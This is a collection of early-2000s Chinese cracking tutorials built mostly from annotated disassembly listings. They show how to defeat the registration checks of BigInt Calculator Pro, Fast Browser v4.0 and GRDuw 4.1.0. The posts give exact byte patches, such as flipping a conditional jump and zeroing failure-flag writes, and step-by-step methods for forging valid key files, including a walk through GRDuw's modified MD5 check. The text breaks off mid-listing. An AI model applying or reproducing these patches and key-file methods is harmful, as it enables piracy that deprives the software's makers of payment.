:004030E6 BF70434100 mov edi, 00414370
:004030EB 83C9FF or ecx, FFFFFFFF
:004030EE 33C0 xor eax, eax
:004030F0 F2 repnz
:004030F1 AE scasb
:004030F2 F7D1 not ecx
:004030F4 49 dec ecx
:004030F5 5F pop edi
:004030F6 741A je 00403112
:004030F8 8B4C2404 mov ecx, dword ptr [esp+04]
:004030FC 6870434100 push 00414370
:00403101 6837040000 push 00000437
:00403106 51 push ecx

* Reference To: USER32.SetDlgItemTextA, Ord:0000h
|
:00403107 FF15EC104100 Call dword ptr [004110EC]
:0040310D 33C0 xor eax, eax
:0040310F C21000 ret 0010

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004030E3(C), :004030F6(C)
|
:00403112 8B542404 mov edx, dword ptr [esp+04]

* Possible StringData Ref from Data Obj ->"UNREGISTERED"
|
:00403116 68802A4100 push 00412A80
:0040311B 6837040000 push 00000437
:00403120 52 push edx

* Reference To: USER32.SetDlgItemTextA, Ord:0000h
|
:00403121 FF15EC104100 Call dword ptr [004110EC]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004030BC(C), :004030C8(C)
|
:00403127 33C0 xor eax, eax
:00403129 C21000 ret 0010
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:004035FB E860550000 call 00408B60
:00403600 83C430 add esp, 00000030
:00403603 85C0 test eax, eax
:00403605 751B jne 00403622<======================仅改这里741B即可！
:00403607 A118514100 mov eax, dword ptr [00415118]
:0040360C 6870434100 push 00414370
:00403611 50 push eax
:00403612 E8F9770000 call 0040AE10
:00403617 83C408 add esp, 00000008
:0040361A 881D294F4100 mov byte ptr [00414F29], bl<==============比较重要！
:00403620 EB2C jmp 0040364E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403605(C)
|
:00403622 8D7C241C lea edi, dword ptr [esp+1C]
:00403626 83C9FF or ecx, FFFFFFFF
:00403629 33C0 xor eax, eax
:0040362B F2 repnz
:0040362C AE scasb
:0040362D F7D1 not ecx
:0040362F 2BF9 sub edi, ecx
:00403631 8BF7 mov esi, edi
:00403633 8BD1 mov edx, ecx

* Possible StringData Ref from Data Obj ->"BigInt Calculator Pro 1.0 "
|
:00403635 BFA8284100 mov edi, 004128A8
:0040363A 83C9FF or ecx, FFFFFFFF
:0040363D F2 repnz
:0040363E AE scasb
:0040363F 8BCA mov ecx, edx
:00403641 4F dec edi
:00403642 C1E902 shr ecx, 02
:00403645 F3 repz
:00403646 A5 movsd
:00403647 8BCA mov ecx, edx
:00403649 83E103 and ecx, 00000003
:0040364C F3 repz
:0040364D A4 movsb

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403620(U)
|

* Possible StringData Ref from Data Obj ->"BigInt Calculator Pro 1.0 "
|
:0040364E 68A8284100 push 004128A8
:00403653 55 push ebp

* Reference To: USER32.SetWindowTextA, Ord:0000h
|
:00403654 FF15DC104100 Call dword ptr [004110DC]
:0040365A A1582E4200 mov eax, dword ptr [00422E58]
:0040365F 8B0D882E4200 mov ecx, dword ptr [00422E88]
:00403665 5D pop ebp
:00403666 898834020000 mov dword ptr [eax+00000234], ecx
:0040366C 8B15582E4200 mov edx, dword ptr [00422E58]
:00403672 8BC3 mov eax, ebx
:00403674 899A28020000 mov dword ptr [edx+00000228], ebx
:0040367A 5B pop ebx
:0040367B 5F pop edi
:0040367C 5E pop esi
:0040367D 83C42C add esp, 0000002C
:00403680 C21000 ret 0010
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Fast Browser v4.0

 标 题:离线注册你的Fast Browser v4.0 (2千字)
发信人:十夜
时 间:2001-9-14 18:29:14
详细信息:
Fast Browser是用Delphi编的，先用DeDe看看，点DCU&#61664;TRegisterForm后双击_BtnRegisterClick后可看到以下代码，在4DB4AC下断点，用ICE跟一下，运行程序，点击帮助&#61664;输入注册码，添好你的东西，我的是：(Tennight.C,13131313)，点注册，停在断点。
004DB4AC 55 push ebp
004DB4AD 8BEC mov ebp, esp
004DB4AF B905000000 mov ecx, $00000005
004DB4B4 6A00 push $00
004DB4B6 6A00 push $00
004DB4B8 49 dec ecx
004DB4B9 75F9 jnz 004DB4B4
004DB4BB 51 push ecx
004DB4BC 53 push ebx
004DB4BD 8BD8 mov ebx, eax
004DB4BF 33C0 xor eax, eax
004DB4C1 55 push ebp
004DB4C2 6863B64D00 push $004DB663
004DB4C7 64FF30 push dword ptr fs:[eax]
004DB4CA 648920 mov fs:[eax], esp
004DB4CD 8D55F8 lea edx, [ebp-$08]
004DB4D0 8B83F8020000 mov eax, [ebx+$02F8]
004DB4D6 E80D9CF5FF call 004350E8
004DB4DB 837DF800 cmp dword ptr [ebp-$08], +$00
004DB4DF 751A jnz 004DB4FB
004DB4E1 6A00 push $00
004DB4E3 668B0D70B64D00 mov cx, word ptr [$4DB670]
004DB4EA B202 mov dl, $02
004DB4EC B87CB64D00 mov eax, $004DB67C
004DB4F1 E8D601F8FF call 0045B6CC
004DB4F6 E918010000 jmp 004DB613
004DB4FB A1F0535000 mov eax, dword ptr [$5053F0]
004DB500 803800 cmp byte ptr [eax], $00
004DB503 0F8503010000 jnz 004DB60C &#61664;必须跳
-----------------------------------cut------------------------------------------
走到这：
004DB60E E82DFCFFFF call 004DB240 -->进入
-----------------------------------cut-------------------------------------------
走到这：
:004DB2BF 84C0 test al, al
:004DB2C1 0F8426010000 je 004DB3ED &#61664;必须跳
这时不断的看看数据窗口，多用D命令，会看到很多有趣的东西，都是和注册有关的文件和注册表内容。好了，走完后看看文件所在目录有了相应的变化，会产生一个XXXX.KEY文件XXXX为随机的四位数字，我的时6026.key，内容是“13131313”同时在Search文件夹里的reg文件里也添加了内容：
[set]
regfile=6026.key
什么意思就不用我多说了吧，注册表中也加了一个键：
[HKEY_CURRENT_USER\Software\Sealine\fb\user]
@="Tennight.C"
好了，名字和注册码的地方都有了，没什么好看的了，下CreateFileA断点，当打开6026.key时跟就好了，可以看到程序读你的名字和注册码，走到4D4A9A就是比较核心了，是最简单的比较，没有加密，我的名字经过计算是7664350014，将这个值填入6026.key中替换假的注册码，重新启动程序，这个世界又清净了！

写于宝贝不在身边的无聊岁月！


GRDuw 4.1.0

 标 题:GRDuw 4.1.0汉化版
发信人:时空幻影
时 间:2001年12月10日
详细信息:
作者：时空幻影
时间：2001年12月10日
使用工具：TRW2000 v1.22已注册版、W32DSM汉化白金版
软件名称：GRDuw
软件来源：《数码时代》杂志（2001年4月刊）——配套光盘
软件版本：4.1.0汉化版（由水手创作室汉化）
软件简介：相当不错的磁盘工具，可帮你将 1.44MB 的磁片格式化成高压缩的1.72MB 磁片。另外还有许多其它好用的功能，譬如只需读取一次磁盘
即可重复拷贝多份相同的磁盘 (包括抽取式磁碟机)、能夠比较两張磁片的內容、可存取磁碟影像文件 (disk image file) 待稍后用来复制磁片，
此外也可以为每一个影像文件加上适当的注解以增加文件的可读性、可最佳化磁片的格式来提升资料读取的速度、可修复软/硬碟并自动记录损坏的
磁道并且将该区的资料移到安全的区域存放。

这个软件我在很久以前就想做它的注册文件生成器，无奈功力所限，跟踪的时候总是摸不着头脑，找不到注册算法的部分，直到前几天读了TAE![CCG]
的暴破文章后，有所启发，觉得该软件是用一个全局变量来作注册标志，经过我的跟踪分析，发现只要有不对的地方，都会有一条指令送注册失败值到全局
变量（假设这个全局变量为reg），这个全局变量就是下面的[ESI+000005B8]或者是[EBX+000005B8]，所以只要全部把这些指令机器代码中的
0000001000000000改成0000000000000000就可完美暴破。
如:0041B304 C786B805000001000000 mov dword ptr [esi+000005B8], 00000001
^
改为0
但是本人有个癖好，除非万不得已的情况下（如注册算法不可逆等），是不会暴破的，所以我决定把注册文件搞出来，经过十几个小时的破解后我成功了。
现在我们开始我们的破解之旅吧！先用TRW2000载入GRDUW，然后点击"LOAD"，程序会被拦下，设置断点BPX CREATEFILEA，然后按F5，程序会再次被拦
下，接着输入指令PMODULE，就会停在如下所示的地方：

* Reference To: KERNEL32.CreateFileA, Ord:0034h
|
:0042A501 FF1538724400 Call dword ptr [00447238]
:0042A507 8BF0 mov esi, eax <--停在这里
:0042A509 3BF7 cmp esi, edi
:0042A50B 7514 jne 0042A521 <--如果存在GRDuw.key的话会跳转

继续按F10，经过几个ret后会来到如下地方：
* Possible StringData Ref from Data Obj ->"rb" <--表明注册文件打开模式为"rb"
|
:0041B2C4 68A0314500 push 004531A0
:0041B2C9 8D463C lea eax, dword ptr [esi+3C]
:0041B2CC C7864005000000000000 mov dword ptr [esi+00000540], 00000000
:0041B2D6 50 push eax
:0041B2D7 E8C1500000 call 0042039D <--检查是否存在注册文件GRDuw.key，存在的话eax为存放文件内容的首地址，否则为0
:0041B2DC 83C408 add esp, 00000008 <--来到这里
:0041B2DF 8D8E48050000 lea ecx, dword ptr [esi+00000548]
:0041B2E5 8BF8 mov edi, eax
:0041B2E7 E8B4300000 call 0041E3A0 <--MD5算法的赋初始值，注意该软件的MD5初始值不是标准的MD5初始值
:0041B2EC C786B405000010AD4100 mov dword ptr [esi+000005B4], 0041AD10 <--送下一个检查子程序的地址
:0041B2F6 85FF test edi, edi
:0041B2F8 7517 jne 0041B311 <--应该跳转
:0041B2FA C786B405000020A94100 mov dword ptr [esi+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B304 C786B805000001000000 mov dword ptr [esi+000005B8], 00000001 <--把注册失败值送全局变量reg
:0041B30E 5F pop edi
:0041B30F 5E pop esi
:0041B310 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B2F8(C)
|
:0041B311 57 push edi

* Possible Reference to Dialog: DialogID_0084, CONTROL_ID:0400, "疹c(&F)(檈<)"
|

* Possible Reference to String Resource ID=01024: "*<:(圅)"
|
:0041B312 6800040000 push 00000400
:0041B317 8D8E40010000 lea ecx, dword ptr [esi+00000140]

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B31D 6A01 push 00000001
:0041B31F 51 push ecx
:0041B320 E8304F0000 call 00420255 <--求注册文件GRDuw.key的长度，并把长度值送eax中
:0041B325 83C410 add esp, 00000010
:0041B328 898640050000 mov dword ptr [esi+00000540], eax
:0041B32E 85C0 test eax, eax
:0041B330 7514 jne 0041B346 <--应该跳转
:0041B332 C786B405000020A94100 mov dword ptr [esi+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B33C C786B805000001000000 mov dword ptr [esi+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B330(C)
|
:0041B346 57 push edi
:0041B347 E88C4E0000 call 004201D8
:0041B34C 83C404 add esp, 00000004
:0041B34F 5F pop edi
:0041B350 5E pop esi
:0041B351 C3 ret

经过上面这个ret后会来到如下地方：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041ACF5(C)
|
:0041ACE0 8BCE mov ecx, esi
:0041ACE2 8B86B4050000 mov eax, dword ptr [esi+000005B4]
:0041ACE8 FFD0 call eax
:0041ACEA 8B86B4050000 mov eax, dword ptr [esi+000005B4] <--来到这里，注意留意上面那个call eax，以后会调用几次，目前为第一次
:0041ACF0 3D40AD4100 cmp eax, 0041AD40
:0041ACF5 75E9 jne 0041ACE0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041ACDE(C)
|
:0041ACF7 8BCE mov ecx, esi
:0041ACF9 E8CC8B0100 call 004338CA
:0041ACFE 5E pop esi
:0041ACFF C20C00 ret 000C

我在网上找了很久，不论是在国外还是国内，都发现只有补丁程序，没有看到注册文件和注册文件的生成器，我怀疑是不是由于CRACKERS发现其注册算法
含有MD5算法，所以就没有继续跟踪了。其实作该软件的注册机根本不需对MD5算法进行求逆。呵呵！！！

//**************************************************************************************************

第二次调用call eax会来到如下地方：
:0041AD10 C781B405000070B44100 mov dword ptr [ebx+000005B4], 0041B470 <--送下一个检查子程序的地址
:0041AD1A 8B8140050000 mov eax, dword ptr [ecx+00000540] <--eax为注册文件GRDuw.key的长度
:0041AD20 85C0 test eax, eax <--测试长度是否为0
:0041AD22 741B je 0041AD3F <--不应该跳转
:0041AD24 3DDC000000 cmp eax, 000000DC <--比较长度是否不小于0xDC即220个字节
:0041AD29 7314 jnb 0041AD3F <--是的话就跳转，应该要跳转
:0041AD2B C781B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041AD35 C781B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041AD22(C), :0041AD29(C)
|
:0041AD3F C3 ret

//**************************************************************************************************

第三次调用call eax会来到如下地方：
:0041B470 56 push esi
:0041B471 57 push edi
:0041B472 8BF1 mov esi, ecx
:0041B474 E863610200 call 004415DC
:0041B479 8B5010 mov edx, dword ptr [eax+10] <--edx为存放字符串"GRDuw"的首地址
:0041B47C 83C9FF or ecx, FFFFFFFF
:0041B47F 8BFA mov edi, edx
:0041B481 33C0 xor eax, eax
:0041B483 F2 repnz
:0041B484 AE scasb
:0041B485 F7D1 not ecx
:0041B487 49 dec ecx
:0041B488 8BF9 mov edi, ecx <--edi为上面字符串的长度
:0041B48A C786B4050000C0BC4100 mov dword ptr [esi+000005B4], 0041BCC0
:0041B494 57 push edi
:0041B495 8D8640010000 lea eax, dword ptr [esi+00000140]
:0041B49B 52 push edx
:0041B49C 50 push eax
:0041B49D E85E4B0100 call 00430000 <--比较注册文件GRDuw.key中的前5个字符是否为"GRDuw"，是的话eax为0
:0041B4A2 83C40C add esp, 0000000C
:0041B4A5 85C0 test eax, eax
:0041B4A7 750A jne 0041B4B3 <--不应该跳转
:0041B4A9 80BC374001000020 cmp byte ptr [edi+esi+00000140], 20 <--比较注册文件GRDuw.key中的前5个字符是否为空格符
:0041B4B1 7414 je 0041B4C7 <--应该跳转

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B4A7(C)
|
:0041B4B3 C786B405000020A94100 mov dword ptr [esi+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B4BD C786B805000001000000 mov dword ptr [esi+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B4B1(C)
|
:0041B4C7 5F pop edi
:0041B4C8 5E pop esi
:0041B4C9 C3 ret

//**************************************************************************************************

第四次调用call eax会来到如下地方：
:0041BCC0 56 push esi
:0041BCC1 8BF1 mov esi, ecx
:0041BCC3 8B8E40050000 mov ecx, dword ptr [esi+00000540]
:0041BCC9 8D8640010000 lea eax, dword ptr [esi+00000140]
:0041BCCF 898644050000 mov dword ptr [esi+00000544], eax
:0041BCD5 C684314001000000 mov byte ptr [ecx+esi+00000140], 00
:0041BCDD C786B4050000D0B44100 mov dword ptr [esi+000005B4], 0041B4D0 <--送下一个检查子程序的地址
:0041BCE7 6A3D push 0000003D <--3D为"="的ascii码
:0041BCE9 50 push eax <--eax为存放注册文件GRDuw.key内容的首地址
:0041BCEA E8014D0000 call 004209F0 <--检查注册文件GRDuw.key中是否含有字符"="，有的话则eax为存放该字符的地址，否则eax为存放注册文件内容的首地址
:0041BCEF 83C408 add esp, 00000008
:0041BCF2 85C0 test eax, eax
:0041BCF4 7419 je 0041BD0F
:0041BCF6 8A50FF mov dl, byte ptr [eax-01]
:0041BCF9 B120 mov cl, 20
:0041BCFB 3AD1 cmp dl, cl <--检查字符"="的前一个字符是否为空格符
:0041BCFD 7510 jne 0041BD0F <--不应该跳转
:0041BCFF 384801 cmp byte ptr [eax+01], cl <--检查字符"="的后一个字符是否为空格符
:0041BD02 750B jne 0041BD0F <--不应该跳转
:0041BD04 83C002 add eax, 00000002
:0041BD07 898644050000 mov dword ptr [esi+00000544], eax
:0041BD0D 5E pop esi
:0041BD0E C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041BCF4(C), :0041BCFD(C), :0041BD02(C)
|
:0041BD0F C786B405000020A94100 mov dword ptr [esi+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041BD19 C786B805000001000000 mov dword ptr [esi+000005B8], 00000001 <--把注册失败值送全局变量reg
:0041BD23 5E pop esi
:0041BD24 C3 ret

//**************************************************************************************************

第五次调用call eax会来到如下地方：
:0041B4D0 56 push esi
:0041B4D1 8BF1 mov esi, ecx
:0041B4D3 57 push edi
:0041B4D4 8B8644050000 mov eax, dword ptr [esi+00000544] <--eax为存放注册文件中等号后面的注册码的首地址
:0041B4DA 8D8E40010000 lea ecx, dword ptr [esi+00000140] <--ecx为存放注册文件内容的首地址
:0041B4E0 2BC6 sub eax, esi
:0041B4E2 8DBE48050000 lea edi, dword ptr [esi+00000548]
:0041B4E8 2D40010000 sub eax, 00000140
:0041B4ED 50 push eax
:0041B4EE 51 push ecx
:0041B4EF 8BCF mov ecx, edi
:0041B4F1 E8DA2E0000 call 0041E3D0 <--把注册文件中注册码前面的内容(包括等号及其后面的空格符)存到MD5算法的初始值后面
:0041B4F6 C786B405000030BD4100 mov dword ptr [esi+000005B4], 0041BD30 <--送下一个检查子程序的地址
:0041B500 8BCF mov ecx, edi
:0041B502 E8792F0000 call 0041E480 <--核心call，按F8进入
:0041B507 8B8644050000 mov eax, dword ptr [esi+00000544] <--eax为存放注册文件中注册码部分的首地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B50D 6A01 push 00000001
:0041B50F 8A08 mov cl, byte ptr [eax]
:0041B511 40 inc eax
:0041B512 51 push ecx
:0041B513 8BCF mov ecx, edi
:0041B515 898644050000 mov dword ptr [esi+00000544], eax2
:0041B51B E870300000 call 0041E590 <--注册码为64位（16个字符），这个call比对第1个字符
:0041B520 85C0 test eax, eax
:0041B522 751D jne 0041B541 <--不应该跳转
:0041B524 8B8644050000 mov eax, dword ptr [esi+00000544]
:0041B52A 6A00 push 00000000
:0041B52C 8A08 mov cl, byte ptr [eax]
:0041B52E 40 inc eax
:0041B52F 51 push ecx
:0041B530 8BCF mov ecx, edi
:0041B532 898644050000 mov dword ptr [esi+00000544], eax
:0041B538 E853300000 call 0041E590 <--这个call比对第2个字符
:0041B53D 85C0 test eax, eax
:0041B53F 7414 je 0041B555 <--应该跳转

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B522(C)
|
:0041B541 C786B405000020A94100 mov dword ptr [esi+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B54B C786B805000001000000 mov dword ptr [esi+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B53F(C)
|
:0041B555 5F pop edi
:0041B556 5E pop esi
:0041B557 C3 ret

在上面的核心call按F8进入后会来到如下地方：
* Referenced by a CALL at Addresses:
|:0041AF26 , :0041B261 , :0041B502
|
:0041E480 83EC40 sub esp, 00000040
:0041E483 56 push esi
:0041E484 8BF1 mov esi, ecx
:0041E486 8B06 mov eax, dword ptr [esi]
:0041E488 8B4E04 mov ecx, dword ptr [esi+04]
:0041E48B 8944243C mov dword ptr [esp+3C], eax
:0041E48F 894C2440 mov dword ptr [esp+40], ecx
:0041E493 C1E803 shr eax, 03
:0041E496 83E03F and eax, 0000003F
:0041E499 B938000000 mov ecx, 00000038
:0041E49E 83F838 cmp eax, 00000038
:0041E4A1 7C05 jl 0041E4A8

* Possible Reference to String Resource ID=00120: "辶* 蠀X:z"
|
:0041E4A3 B978000000 mov ecx, 00000078

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041E4A1(C)
|
:0041E4A8 2BC8 sub ecx, eax
:0041E4AA 55 push ebp
:0041E4AB 57 push edi
:0041E4AC 51 push ecx

* Possible StringData Ref from Data Obj ->"�"
|
:0041E4AD 6840484500 push 00454840
:0041E4B2 8BCE mov ecx, esi
:0041E4B4 E817FFFFFF call 0041E3D0 <--如果注册文件中注册码前面的内容长度不足0x40的话，则先在其后面添一个0x80，然后在用0x00填充，直到长度为0x40为止
:0041E4B9 8D461A lea eax, dword ptr [esi+1A]
:0041E4BC 8D7C240C lea edi, dword ptr [esp+0C]

* Possible Reference to String Resource ID=00014: "馼 = %lu"
|
:0041E4C0 BD0E000000 mov ebp, 0000000E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041E4EA(C)
|
:0041E4C5 33D2 xor edx, edx
:0041E4C7 33C9 xor ecx, ecx
:0041E4C9 8A7001 mov dh, byte ptr [eax+01]
:0041E4CC 8A48FF mov cl, byte ptr [eax-01]
:0041E4CF 8A10 mov dl, byte ptr [eax]
:0041E4D1 83C704 add edi, 00000004
:0041E4D4 C1E208 shl edx, 08
:0041E4D7 0BD1 or edx, ecx
:0041E4D9 33C9 xor ecx, ecx
:0041E4DB 8A48FE mov cl, byte ptr [eax-02]
:0041E4DE 83C004 add eax, 00000004
:0041E4E1 C1E208 shl edx, 08
:0041E4E4 0BD1 or edx, ecx
:0041E4E6 4D dec ebp
:0041E4E7 8957FC mov dword ptr [edi-04], edx
:0041E4EA 75D9 jne 0041E4C5
:0041E4EC 8D54240C lea edx, dword ptr [esp+0C] <--edx为存放MD5算法的初始值的首地址
:0041E4F0 8D7E08 lea edi, dword ptr [esi+08] <--edi为存放注册文件中非注册码的部分及填充部分的首地址
:0041E4F3 52 push edx
:0041E4F4 57 push edi
:0041E4F5 8BCE mov ecx, esi
:0041E4F7 E854010000 call 0041E650 <--进入MD5算法，按F8进入(不想看MD5算法的话可按F10带过此call)
:0041E4FC 8BC7 mov eax, edi <--edi为计算后的结果的首地址
:0041E4FE 8D4E59 lea ecx, dword ptr [esi+59]
:0041E501 5F pop edi

* Possible Reference to String Resource ID=00004: ".*(&H)"
|
:0041E502 BE04000000 mov esi, 00000004
:0041E507 5D pop ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041E52E(C)
|
:0041E508 8A10 mov dl, byte ptr [eax]
:0041E50A 83C004 add eax, 00000004
:0041E50D 8851FF mov byte ptr [ecx-01], dl
:0041E510 8B50FC mov edx, dword ptr [eax-04]
:0041E513 C1EA08 shr edx, 08
:0041E516 8811 mov byte ptr [ecx], dl
:0041E518 8B50FC mov edx, dword ptr [eax-04]
:0041E51B C1EA10 shr edx, 10
:0041E51E 885101 mov byte ptr [ecx+01], dl
:0041E521 8B50FC mov edx, dword ptr [eax-04]
:0041E524 C1EA18 shr edx, 18
:0041E527 885102 mov byte ptr [ecx+02], dl
:0041E52A 83C104 add ecx, 00000004
:0041E52D 4E dec esi
:0041E52E 75D8 jne 0041E508
:0041E530 5E pop esi
:0041E531 83C440 add esp, 00000040
:0041E534 C3 ret

在上面的核心call按F8进入后会来到如下地方：
* Referenced by a CALL at Addresses:
|:0041E45B , :0041E4F7
|
:0041E650 83EC44 sub esp, 00000044
:0041E653 8B44244C mov eax, dword ptr [esp+4C] <--eax为存放注册文件中非注册码的部分及填充部分的首地址
:0041E657 53 push ebx
:0041E658 8B5C244C mov ebx, dword ptr [esp+4C] <--ebx为存放MD5算法的初始值的首地址
:0041E65C 55 push ebp
:0041E65D 56 push esi
:0041E65E 57 push edi
:0041E65F 8B38 mov edi, dword ptr [eax]
:0041E661 8B7304 mov esi, dword ptr [ebx+04]
:0041E664 8B4B0C mov ecx, dword ptr [ebx+0C]
:0041E667 8B6B08 mov ebp, dword ptr [ebx+08]
:0041E66A 897C245C mov dword ptr [esp+5C], edi
:0041E66E 8BFE mov edi, esi
:0041E670 F7D7 not edi
:0041E672 23F9 and edi, ecx
:0041E674 8B13 mov edx, dword ptr [ebx]
:0041E676 8BCD mov ecx, ebp
:0041E678 23CE and ecx, esi
:0041E67A 0BF9 or edi, ecx
:0041E67C 8B4C245C mov ecx, dword ptr [esp+5C]
:0041E680 03F9 add edi, ecx
:0041E682 8D941778A46AD7 lea edx, dword ptr [edi+edx-28955B88]
:0041E689 8BFE mov edi, esi
:0041E68B 8BCA mov ecx, edx
:0041E68D C1E919 shr ecx, 19
:0041E690 C1E207 shl edx, 07
:0041E693 0BCA or ecx, edx
:0041E695 8B5004 mov edx, dword ptr [eax+04]
:0041E698 03CE add ecx, esi
:0041E69A 89542428 mov dword ptr [esp+28], edx
:0041E69E 8BD1 mov edx, ecx
:0041E6A0 23F9 and edi, ecx
:0041E6A2 F7D2 not edx
:0041E6A4 23D5 and edx, ebp
:0041E6A6 0BD7 or edx, edi
:0041E6A8 8B7C2428 mov edi, dword ptr [esp+28]
:0041E6AC 03D7 add edx, edi
:0041E6AE 8B7B0C mov edi, dword ptr [ebx+0C]
:0041E6B1 8DBC1756B7C7E8 lea edi, dword ptr [edi+edx-173848AA]
:0041E6B8 8BD7 mov edx, edi
:0041E6BA C1EA14 shr edx, 14
:0041E6BD C1E70C shl edi, 0C
:0041E6C0 0BD7 or edx, edi
:0041E6C2 8B7808 mov edi, dword ptr [eax+08]
:0041E6C5 03D1 add edx, ecx
:0041E6C7 897C2440 mov dword ptr [esp+40], edi
:0041E6CB 8BFA mov edi, edx
:0041E6CD F7D7 not edi
:0041E6CF 23FE and edi, esi
:0041E6D1 8BF2 mov esi, edx
:0041E6D3 23F1 and esi, ecx
:0041E6D5 0BFE or edi, esi
:0041E6D7 8B742440 mov esi, dword ptr [esp+40]
:0041E6DB 03FE add edi, esi
:0041E6DD 8DBC2FDB702024 lea edi, dword ptr [edi+ebp+242070DB]
:0041E6E4 8BEA mov ebp, edx
:0041E6E6 8BF7 mov esi, edi
:0041E6E8 C1EE0F shr esi, 0F
:0041E6EB C1E711 shl edi, 11
:0041E6EE 0BF7 or esi, edi
:0041E6F0 8B780C mov edi, dword ptr [eax+0C]
:0041E6F3 03F2 add esi, edx
:0041E6F5 897C2420 mov dword ptr [esp+20], edi
:0041E6F9 8BFE mov edi, esi
:0041E6FB 23EE and ebp, esi
:0041E6FD F7D7 not edi
:0041E6FF 23F9 and edi, ecx
:0041E701 0BFD or edi, ebp
:0041E703 8B6C2420 mov ebp, dword ptr [esp+20]
:0041E707 03FD add edi, ebp
:0041E709 8B6B04 mov ebp, dword ptr [ebx+04]
:0041E70C 8DAC2FEECEBDC1 lea ebp, dword ptr [edi+ebp-3E423112]
:0041E713 8BFD mov edi, ebp
:0041E715 C1E716 shl edi, 16
:0041E718 C1ED0A shr ebp, 0A
:0041E71B 0BFD or edi, ebp
:0041E71D 8B6810 mov ebp, dword ptr [eax+10]
:0041E720 03FE add edi, esi
:0041E722 896C2438 mov dword ptr [esp+38], ebp
:0041E726 897C2458 mov dword ptr [esp+58], edi
:0041E72A F7D7 not edi
:0041E72C 23FA and edi, edx
:0041E72E 8BEE mov ebp, esi
:0041E730 236C2458 and ebp, dword ptr [esp+58]
:0041E734 0BFD or edi, ebp
:0041E736 8B6C2438 mov ebp, dword ptr [esp+38]
:0041E73A 03FD add edi, ebp
:0041E73C 8B6814 mov ebp, dword ptr [eax+14]
:0041E73F 896C2418 mov dword ptr [esp+18], ebp
:0041E743 8D8C39AF0F7CF5 lea ecx, dword ptr [ecx+edi-0A83F051]
:0041E74A 8BF9 mov edi, ecx
:0041E74C C1EF19 shr edi, 19
:0041E74F C1E107 shl ecx, 07
:0041E752 0BF9 or edi, ecx
:0041E754 8B4C2458 mov ecx, dword ptr [esp+58]
:0041E758 03F9 add edi, ecx
:0041E75A 8BEF mov ebp, edi
:0041E75C 23CF and ecx, edi
:0041E75E F7D5 not ebp
:0041E760 23EE and ebp, esi
:0041E762 0BE9 or ebp, ecx
:0041E764 8B4C2418 mov ecx, dword ptr [esp+18]
:0041E768 03E9 add ebp, ecx
:0041E76A 8D942A2AC68747 lea edx, dword ptr [edx+ebp+4787C62A]
:0041E771 8B6C2458 mov ebp, dword ptr [esp+58]
:0041E775 8BCA mov ecx, edx
:0041E777 C1E914 shr ecx, 14
:0041E77A C1E20C shl edx, 0C
:0041E77D 0BCA or ecx, edx
:0041E77F 8B5018 mov edx, dword ptr [eax+18]
:0041E782 03CF add ecx, edi
:0041E784 89542430 mov dword ptr [esp+30], edx
:0041E788 8BD1 mov edx, ecx
:0041E78A F7D2 not edx
:0041E78C 23D5 and edx, ebp
:0041E78E 8BE9 mov ebp, ecx
:0041E790 23EF and ebp, edi
:0041E792 0BD5 or edx, ebp
:0041E794 8B6C2430 mov ebp, dword ptr [esp+30]
:0041E798 03D5 add edx, ebp
:0041E79A 8BE9 mov ebp, ecx
:0041E79C 8DB416134630A8 lea esi, dword ptr [esi+edx-57CFB9ED]
:0041E7A3 8BD6 mov edx, esi
:0041E7A5 C1EA0F shr edx, 0F
:0041E7A8 C1E611 shl esi, 11
:0041E7AB 0BD6 or edx, esi
:0041E7AD 8B701C mov esi, dword ptr [eax+1C]
:0041E7B0 03D1 add edx, ecx
:0041E7B2 89742410 mov dword ptr [esp+10], esi
:0041E7B6 8BF2 mov esi, edx
:0041E7B8 23EA and ebp, edx
:0041E7BA F7D6 not esi
:0041E7BC 23F7 and esi, edi
:0041E7BE 0BF5 or esi, ebp
:0041E7C0 8B6C2410 mov ebp, dword ptr [esp+10]
:0041E7C4 03F5 add esi, ebp
:0041E7C6 8B6C2458 mov ebp, dword ptr [esp+58]
:0041E7CA 8DAC2E019546FD lea ebp, dword ptr [esi+ebp-02B96AFF]
:0041E7D1 8BF5 mov esi, ebp
:0041E7D3 C1E616 shl esi, 16
